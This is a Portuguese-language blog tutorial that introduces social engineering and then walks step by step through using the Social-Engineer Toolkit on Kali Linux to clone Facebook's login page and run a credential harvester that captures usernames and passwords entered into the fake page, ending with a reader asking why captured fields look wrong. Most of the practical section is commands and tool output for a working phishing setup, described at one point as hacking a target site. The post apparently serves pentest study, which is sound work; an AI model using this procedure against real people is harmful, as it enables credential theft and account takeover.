Engenharia Social consiste no ato de obter informações das pessoas. Toda e qualquer técnica de manipulação, persuasão e lábia enquadra-se como engenharia social. Porém o termo foi cunhado pelo Hacker/Cracker Kevin Mitinick, que, no auge de suas invasões a dispositivos e sistemas governamentais, utilizava-se de métodos não computacionais para obter informações das pessoas.

Photo by Jose Francisco Morales on Unsplash

Para aproveitar-se da Engenharia Social o uso de técnologia não é obrigatório, pois trata-se de um método não técnico usado pelos cibercriminosos para obter informações, realizar fraudes ou conseguir acesso de forma ilegal aos computadores das vítimas. A principal vulnerabilidade explorada por esta metodologia é baseada na interação humana e é conduzida por pessoas que usam o engano para violar os procedimentos de segurança que normalmente deveriam ter seguido.

Porém existem diversos ataques que utilizam tecnologia em sua execução, os mais comuns incluem e-mails de phishing, vishing (telefonemas de pessoas que se apresentam como uma organização respeitada) e baiting (do inglês, “isca”, através das quais o invasor carrega drives USB com malware e simplesmente espera que o usuário os conecta à sua máquina).

Não sendo o bastante a Engenharia Social costuma se estender a pesquisas de empresas e de amigos no LinkedIn e no Facebook, respectivamente, onde criminosos usam as redes sociais para criar confiança e obter dados. Muitas vezes, o resultado final é extorsão ou roubo.

Tudo isso configura esta vulnerabilidade como sendo muito grave! Neste sentido, estudaremos nos próximos posts do blog sobre ela, atacando e defendendo-se.

Processo de Ataque

Segundo Daniel Moreno, em seu livro Introdução ao Pentest, a engenharia social pode ser dividida nas seguintes etapas:

  • Coleta de Informações: Coletam-se as informações iniciais relativas ao alvo
  • Confiança: Informações mais específicas começam a ser coletadas: usuários mais suscetíveis a execução de programas maliciosos, determinação de qual é a versão do navegador que tal empresa utiliza, e outras informações. Nesta fase o atacante deve estabelecer uma relação de confiança com seu alvo.
  • Vetor de ataque: Planejamento do tipo de ataque que será efetuado. Pode ser tanto baseado em pessoas como baseado em computadores. Ataques baseados em computadores caracterizam-se por usar meios tecnológicos como phishing, sites maliciosos, backdoors, etc. Ataques baseados em pessoas caracterizam-se pelo contato direto, como telefonemas ou, até mesmo, a ida física do atacante à empresa para efetuar o ataque.
  • Execução: Execução do ataque. Nesse ponto, o atacante já deve ter estabelecido a relação de confança com sua vítima para não despertar suspeitas. Do contrário, o ataque vai cair por terra.

Ferramentas para o ataque

Neste artigo e nos próximos utilizaremos a ferramenta SET (Social Engineering Toolkit), pois se trata de uma ferramenta de fácil uso para ataques de engenharia social com base tecnológica. Apresenta opções como geração de cavalos de troia, phishing, criação de mídia infectada, etc.

Preparação do Laboratório

Vamos a parte prática de nosso artigo.

Para a realização de todos os testes estou utilizando uma máquina virtual Kali Linux 2020.1 com a versão 8.0.1 da ferramenta setoolkit. A ferramenta já vem instalada por padrão nesta distribuição, porém a instalação da mesma em qualquer outra distribuição é bastante simples. Iclusive no sistema operacional Windows a instalação é possível, basta compreender o que faremos no linux e reproduzir no janelas.

Vamos ao passo a passo desta instalação:

~ git clone https://github.com/trustedsec/social-engineer-toolkit/ setoolkit/
~ cd setoolkit
~ pip3 install -r requirements.txt
~ python setup.py

Feito isso, basta inserir o comando setoolkit para inciar a ferramenta.

Ao inserir o comando nos é retornada a seguinte informação:

 Select from the menu:

   1) Social-Engineering Attacks
   2) Penetration Testing (Fast-Track)
   3) Third Party Modules
   4) Update the Social-Engineer Toolkit
   5) Update SET configuration
   6) Help, Credits, and About

  99) Exit the Social-Engineer Toolkit

Agora selecione a opção 2) Website Attack Vectors para iniciarmos os ataques WEB.

 Select from the menu:

   1) Spear-Phishing Attack Vectors
   2) Website Attack Vectors
   3) Infectious Media Generator
   4) Create a Payload and Listener
   5) Mass Mailer Attack
   6) Arduino-Based Attack Vector
   7) Wireless Access Point Attack Vector
   8) QRCode Generator Attack Vector
   9) Powershell Attack Vectors
  10) Third Party Modules

  99) Return back to the main menu.

Feito isso ele nos perguntará qual tipo de ataque WEB estamos planejando. Selecione a opção 3) Credential Harvester Attack Method.

   1) Java Applet Attack Method
   2) Metasploit Browser Exploit Method
   3) Credential Harvester Attack Method
   4) Tabnabbing Attack Method
   5) Web Jacking Attack Method
   6) Multi-Attack Web Method
   7) HTA Attack Method

  99) Return to Main Menu

Em seguida, ele irá mostrar três opções conforme mostrado abaixo, a primeira opção será “Modelos da Web” que fornece cinco sites predefinidos que você usa para phishing. A segunda opção é “Clonador de site”. Com esta opção você pode clonar a página de login de qualquer site da Web e a terceira opção que usaremos para este tutorial é “Importação personalizada”. Com isso, você pode usar seu próprio modelo de página de login. Selecione a opção “3) Importação Personalizada” e pressione Enter.

   1) Web Templates
   2) Site Cloner
   3) Custom Import

  99) Return to Webattack Menu

Agora lhe é solicitado seu endereço IP; se você estiver executando o ataque na LAN, pode fornecer seu endereço IP interno e, se estiver executando o ataque na WAN, deverá fornecer seu endereço IP externo. Neste tutorial, estaremos executando o ataque na LAN, para verificar seu endereço IP interno execute “ifconfig“. Digite seu endereço IP e pressione Enter.

set:webattack> IP address for the POST back in Harvester/Tabnabbing [10.0.2.8]:

Agora navegue até o site www.facebook.com, salve a página de login clicando com o botão direito e selecionando a opção “Salvar como”. Uma nova janela aparecerá para renomear o nome do arquivo para “index” e selecionar “Webpage, HTML Only” no menu suspenso abaixo.

Informe o caminho onde você armazenou o arquivo index.html, certifique-se de adicionar “/” no final do caminho. Agora ele irá mostrar duas opções, selecione “copiar a pasta inteira” e pressione Enter. Agora entre no site que você está tentando hackear. Siga essas etapas conforme mostrado abaixo.

set:webattack> Path to the website to be cloned:/home/kali/Documents/
[*] Index.html found. Do you want to copy the entire folder or just index.html?

1. Copy just the index.html
2. Copy the entire folder

Enter choice [1/2]: 2
[-] Example: http://www.blah.com
set:webattack> URL of the website you imported:https://facebook.com   

The best way to use this attack is if username and password form fields are available. Regardless, this captures all POSTs on a website.                                                                                                   
[*] The Social-Engineer Toolkit Credential Harvester Attack
[*] Credential Harvester is running on port 80                                                                                                                                                                                             
[*] Information will be displayed to you as it arrives below: 

Se chegou até aqui, está tudo feito! Basta acessar o ip de sua máquina atacante de qualqer outro host, inclusive dela mesma. Teremos a página clonada sendo exibida, como mostrado:

No terminal estarão sendo exibidos os logs em tempo real enquanto você acessa. Tente inserir usuário e senhas nos campos, para teste.

Voltando ao terminal veremos a captura de credenciais na página fake, como abaixo:

Image for post

Caso você tenha conseguido chegar até aqui, executou com sucesso todos os passos e compreendeu como clonar uma página web e capturar credenciais.

Porém sabemos que apenas isso não é suficiente. Vamos refinar nosso ataque nos próximos posts.

Enquanto isso, teste tudo o que fizemos até aqui, me envie qualquer dúvida via comentários.

Abraço!

Deixe um comentário

Este post tem um comentário

  1. Tiago

    José, tudo bem?
    Estou fazendo várias vezes esse teste, porém as credenciais nunca aparecem.
    Aparecem essas mensagens:
    POSSIBLE USERNAME FIELD FOUND: _user=0
    POSSIBLE PASSWORD FIELD FOUND: _spin_r=1007499194

    Saberia me dizer o que pode ser? Muito obrigado!